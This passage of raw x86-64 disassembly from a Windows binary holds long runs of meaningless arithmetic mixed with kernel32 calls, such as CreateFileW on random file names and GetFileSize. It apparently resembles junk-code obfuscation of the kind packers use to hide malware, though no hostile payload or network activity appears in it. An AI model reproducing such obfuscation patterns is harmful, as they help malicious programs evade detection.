movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb4f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x429c]
mov ecx, dword [rsp + 0x492c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x402c], eax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0x9468]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e58], rax
lea rax, [rsp + 0xb78]
mov qword [0x14022bf58], rax
mov rax, qword [rsp + 0xc668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c34]
shl eax, cl
mov word [rsp + 0x1510], ax
lea rax, [rsp + 0x1274]
mov qword [rsp + 0xcab0], rax
movzx eax, word [rsp + 0x1e80]
mov rcx, qword [rsp + 0xaf00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f84], ax
lea rdx, [rsp + 0x472c]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4820], eax
lea rax, [rsp + 0x353]
mov qword [rsp + 0xcab8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.JH_r9vdMI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcac0], rax
mov rax, qword [0x14022bc38]
mov rcx, qword [rsp + 0xb208]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb230]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4754]
mov dword [rsp + 0x4c84], eax
movsx eax, word [rsp + 0x1ea0]
movsx ecx, word [rsp + 0x1d04]
sar eax, cl
mov word [rsp + 0x1e78], ax
lea rdx, [rsp + 0x4c00]
mov rcx, qword [rsp + 0xc000]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49dc], eax
movzx eax, word [rsp + 0x1d00]
movzx ecx, word [rsp + 0x1c8c]
sub eax, ecx
mov rcx, qword [rsp + 0xa458]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x73b
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0x7d48]
mov qword [0x14022bf60], rax
lea rax, [rsp + 0x7898]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xc900]
mov rcx, qword [0x140229f90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov qword [rsp + 0xcad0], rax
mov rax, qword [rsp + 0xb5a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
sub eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov rax, qword [rsp + 0xae70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d70]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf90]
mov dword [rcx], eax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xcad8], rax
movsx eax, byte [rsp + 0x384]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x394], al
lea rax, [rsp + 0x3a1c]
mov qword [rsp + 0xcae0], rax
mov rax, qword [rsp + 0xb930]
mov rcx, qword [rsp + 0xc1f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1268]
add eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov word [rcx], ax
movsx eax, word [0x14022b820]
movsx ecx, word [rsp + 0x14bc]
and eax, ecx
mov rcx, qword [rsp + 0xaf58]
mov word [rcx], ax
lea rdx, [rsp + 0x4738]
mov rcx, qword [rsp + 0xbf50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0xc560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
shl eax, cl
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xbb78]
mov rcx, qword [rsp + 0xb9d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9a20], rax
lea rax, [rsp + 0x480c]
mov qword [rsp + 0xcae8], rax
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.D7MyrB9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa7e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3af]
sar eax, cl
mov byte [rsp + 0x3ae], al
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
mov word [rsp + 0x20b4], ax
movzx eax, word [rsp + 0x1ef8]
mov rcx, qword [rsp + 0xad80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f7c], ax
mov rax, qword [0x14022bb80]
mov rcx, qword [rsp + 0xbf88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xae60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc770]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xa780]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbcc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov byte [rsp + 0x3e2], al
lea rdx, [rsp + 0x46b0]
mov rcx, qword [rsp + 0xa578]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0xac38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x479c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ae0], eax
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xaa48]
mov qword [rsp + 0xcaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcaf8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9408], rax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
sub eax, ecx
mov byte [rsp + 0x2f1], al
lea rcx, [rsp + 0xcb00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fec]
and eax, ecx
mov word [rsp + 0x1cd8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc6d
mov rcx, qword [rsp + 0xb428]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c14], eax
mov rax, qword [rsp + 0xc148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e34]
xor eax, ecx
mov word [0x14022a148], ax
lea rax, [rsp + 0xb2d8]
mov qword [rsp + 0xcb08], rax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0xb300]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb6b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca48]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
mov word [rsp + 0x20b8], ax
movsx eax, byte [rsp + 0x169]
movsx ecx, byte [rsp + 0x3a5]
sar eax, cl
mov byte [rsp + 0x373], al
mov rax, qword [rsp + 0xc6a8]
mov rax, qword [rax]
mov qword [rsp + 0xcb10], rax
mov eax, dword [rsp + 0x3fd4]
mov ecx, dword [rsp + 0x4888]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4710], eax
mov r9d, 0x246f
xor r8d, r8d
lea rdx, [rsp + 0xb520]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c8c], eax
mov rax, qword [0x14022ba10]
mov rcx, qword [rsp + 0x9b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb500]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7b0]
movzx eax, word [rax]
mov word [0x14022bf68], ax
movzx eax, word [rsp + 0x1e34]
movzx ecx, word [rsp + 0x1fd8]
add eax, ecx
mov word [rsp + 0xa18], ax
mov rax, qword [rsp + 0xbcc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a44], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e3], al
mov rax, qword [rsp + 0x85f8]
mov rcx, qword [rsp + 0x9120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8870], rax
movsx eax, byte [rsp + 0x355]
mov rcx, qword [rsp + 0xb9f8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x4160]
movzx ecx, al
mov eax, dword [rsp + 0x3f58]
shr eax, cl
mov rcx, qword [rsp + 0xb4e8]
mov dword [rcx], eax
mov rax, qword [0x14022bc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8488]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4f8], rax
mov rax, qword [rsp + 0xc738]
movzx eax, word [rax]
mov word [rsp + 0x20bc], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022bc30], ax
mov rax, qword [rsp + 0xc220]
mov rcx, qword [rsp + 0x9420]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa418]
mov qword [rcx], rax
lea rax, [rsp + 0x1ea4]
mov qword [rsp + 0xcb18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movsx eax, word [rsp + 0x2074]
mov rcx, qword [rsp + 0xa528]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7240
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0xc220]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb690], rax
mov r9d, 0x12c6
xor r8d, r8d
lea rdx, [rsp + 0xae80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c90], eax
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x3e4], al
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb7d0]
mov rcx, qword [rsp + 0x9a00]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbf0]
mov qword [rcx], rax
lea rax, [rsp + 0x413c]
mov qword [rsp + 0xcb20], rax
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0xc7e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d70], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb938]
sar rax, cl
mov qword [0x14022a150], rax
mov rax, qword [rsp + 0xc968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b24], eax
lea rax, [rsp + 0x250]
mov qword [rsp + 0xcb28], rax
lea rdx, [rsp + 0x4964]
mov rcx, qword [rsp + 0xb888]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x4c98]
mov rcx, qword [rsp + 0xc8f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c74], eax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2044], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e34]
and eax, ecx
mov word [rsp + 0x14c0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x94b4
mov rcx, qword [rsp + 0xc8f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4740], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x48a8]
mov ecx, dword [rsp + 0x3a24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov dword [rcx], eax
movsx eax, byte [0x14022b811]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x38c], al
mov rax, qword [rsp + 0xa768]
mov qword [rsp + 0xcb30], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xce0], ax
movzx eax, word [rsp + 0x1db4]
movzx ecx, word [rsp + 0x1e74]
and eax, ecx
mov rcx, qword [0x14022ba08]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xb760]
mov qword [rsp + 0xcb38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x78b8], rax
lea rcx, [rsp + 0xcb40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbd98]
mov rcx, qword [0x14022b920]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
mov qword [rsp + 0xcb48], rax
movsx eax, word [rsp + 0x1dcc]
movsx ecx, word [rsp + 0x1cd4]
or eax, ecx
mov word [rsp + 0x1fd4], ax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x8500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ff8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx eax, byte [rsp + 0x3b2]
mov byte [rsp + 0x3e5], al
mov rax, qword [rsp + 0xc910]
mov ecx, dword [rsp + 0x3e6c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ac8], eax
mov rax, qword [rsp + 0xb2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16c]
sar eax, cl
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
mov word [0x14022bf6c], ax
mov rax, qword [0x14022be20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f9c]
sub eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
movzx eax, word [rsp + 0x176c]
mov word [rsp + 0x20c0], ax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5e0], rax
movsx eax, byte [0x14022b812]
mov rcx, qword [rsp + 0xc450]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x211], al
mov r9d, 0x1716
xor r8d, r8d
lea rdx, [rsp + 0xae20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47d4], eax
lea rcx, [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.YTyGKV3LUdAfSxyEHZZqJLp42L7sRyB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcb50], rax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0xa9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4994], eax
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c90], eax
mov rax, qword [0x14022bd18]
mov rcx, qword [rsp + 0xaff8]
mov qword [rsp + 0xcb58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xac80]
mov qword [rcx], rax
lea rax, [rsp + 0x1c84]
mov qword [rsp + 0xcb60], rax
movzx eax, word [rsp + 0x1cbc]
movzx ecx, word [rsp + 0x1024]
xor eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0xa228]
mov rcx, qword [rsp + 0xca38]
mov qword [rsp + 0xcb68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb68]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14022bca0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0x20c4], ax
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb38]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f70]
mov rcx, qword [0x140229fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e6], al
mov rax, qword [rsp + 0xb7d0]
mov rcx, qword [rsp + 0xa1e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4830]
mov ecx, dword [rsp + 0x48bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [rsp + 0x19f]
sar eax, cl
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0x3ae0]
mov qword [rsp + 0xcb70], rax
mov rax, qword [0x14022be98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ef0]
sub eax, ecx
mov word [0x14022bc58], ax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ff8]
add eax, ecx
mov word [rsp + 0x1e48], ax
movzx eax, word [0x140229f7c]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0xba50]
movzx eax, word [rax]
mov word [rsp + 0x20c8], ax
mov rax, qword [rsp + 0xa150]
mov rcx, qword [rsp + 0xb5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb978], rax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [rsp + 0x398c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbd80]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7e4]
movsx ecx, word [rsp + 0x964]
add eax, ecx
mov word [rsp + 0x16b4], ax
lea rax, [0x14022bec0]
mov qword [rsp + 0xcb80], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov qword [0x14022bf70], rax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0x8ff0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc100]
mov qword [rcx], rax
lea rax, [rsp + 0x7800]
mov qword [rsp + 0xcb88], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xaab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbb38], rax
movzx eax, word [rsp + 0xe48]
movzx ecx, word [rsp + 0x1e04]
shl eax, cl
mov word [rsp + 0x1fc8], ax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0xcb90], rax
mov eax, dword [rsp + 0x3e20]
mov rcx, qword [rsp + 0xa2c8]
mov qword [rsp + 0xcb98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4428], eax
movsx eax, byte [rsp + 0x398]
movsx ecx, byte [rsp + 0x388]
sub eax, ecx
mov byte [rsp + 0x180], al
mov eax, dword [rsp + 0x4780]
mov ecx, dword [rsp + 0x474c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc638]
mov rcx, qword [rsp + 0xca20]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a048], rax
movzx eax, word [rsp + 0x1c90]
mov word [rsp + 0x20cc], ax
movsx eax, word [0x14022a108]
movsx ecx, word [rsp + 0x1d8c]
and eax, ecx
mov word [rsp + 0x1f8c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfdc], ax
lea rax, [rsp + 0x83f0]
mov qword [rsp + 0xcba0], rax
mov r9d, 0x21ac
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47dc], eax
movsx eax, byte [0x14022b815]
movsx ecx, byte [rsp + 0x1b8]
cdq
idiv ecx
mov byte [rsp + 0x34f], al
lea rax, [rsp + 0x9258]
mov qword [rsp + 0xcba8], rax
mov rax, qword [rsp + 0xc660]
mov ecx, dword [rsp + 0x3b0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4780], eax
movsx eax, word [0x14022ba68]
movsx ecx, word [rsp + 0x7e4]
sub eax, ecx
mov word [rsp + 0x1d6c], ax
movzx eax, word [rsp + 0x20ac]
mov rcx, qword [rsp + 0xb0b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14022a158], ax
mov rax, qword [rsp + 0xbb38]
movzx ecx, al
mov rax, qword [0x14022a008]
shl rax, cl
mov qword [rsp + 0x94a0], rax
lea rdx, [rsp + 0x4c9c]
mov rcx, qword [rsp + 0xbdb0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xbe48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
mov dword [rsp + 0x4ca0], eax
mov rcx, qword [rsp + 0xbc90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3db], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xbb30]
mov rcx, qword [rsp + 0xb5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ec0], rax
lea rax, [rsp + 0x4b30]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xc2c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov byte [rsp + 0x38d], al
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [rsp + 0x20d0], ax
mov rax, qword [rsp + 0xc7e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fe4]
and eax, ecx
mov word [0x14022a09c], ax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [0x14022b830]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
mov r9d, 0x1c1e
xor r8d, r8d
lea rdx, [rsp + 0xb8c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ca4], eax
mov rax, qword [rsp + 0x89e0]
mov rcx, qword [rsp + 0xb638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80b0], rax
movsx eax, word [0x14022bdec]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x928], ax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dac]
sub eax, ecx
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0xb390]
mov qword [rsp + 0xcbb8], rax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022bab8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb280]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb338]
mov eax, dword [rax]
mov dword [rsp + 0x4ca8], eax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0xb728]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb300]
mov qword [rcx], rax
mov rax, qword [0x14022bd60]
movzx eax, word [rax]
mov word [0x14022bf78], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xa1de
mov rcx, qword [rsp + 0xc000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48ec], eax
lea rdx, [rsp + 0x4988]
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0xbe48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd0]
or eax, ecx
mov rcx, qword [rsp + 0xb110]
mov word [rcx], ax
mov eax, dword [rsp + 0x4bf8]
movzx ecx, al
mov eax, dword [rsp + 0x47a4]
shl eax, cl
mov dword [rsp + 0x3a9c], eax
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0xb360]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3db], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x948a
mov rcx, qword [rsp + 0xc000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c00], eax
mov rax, qword [rsp + 0xc830]
mov rax, qword [rax]
mov qword [rsp + 0xcbc0], rax
mov rax, qword [0x14022bc00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc980]
shr rax, cl
mov rcx, qword [rsp + 0xa6e0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3ce]
mov rcx, qword [rsp + 0xb718]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa120]
mov byte [rcx], al
mov eax, dword [rsp + 0x4948]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0xc110]
movsx eax, word [rax]
mov rcx, qword [0x14022b940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x204c], ax
movzx eax, word [rsp + 0x1094]
movzx ecx, word [rsp + 0x20a4]
sub eax, ecx
mov word [0x14022a15c], ax
lea rax, [rsp + 0x7f08]
mov qword [rsp + 0xcbc8], rax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
movzx ecx, word [0x14022a0b0]
add eax, ecx
mov rcx, qword [rsp + 0xbba8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1dc8]
movsx ecx, word [rsp + 0x1e2c]
and eax, ecx
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0xcbc0]
movzx ecx, al
mov rax, qword [rsp + 0x9ca8]
sar rax, cl
mov qword [rsp + 0x8900], rax
mov rax, qword [rsp + 0x9988]
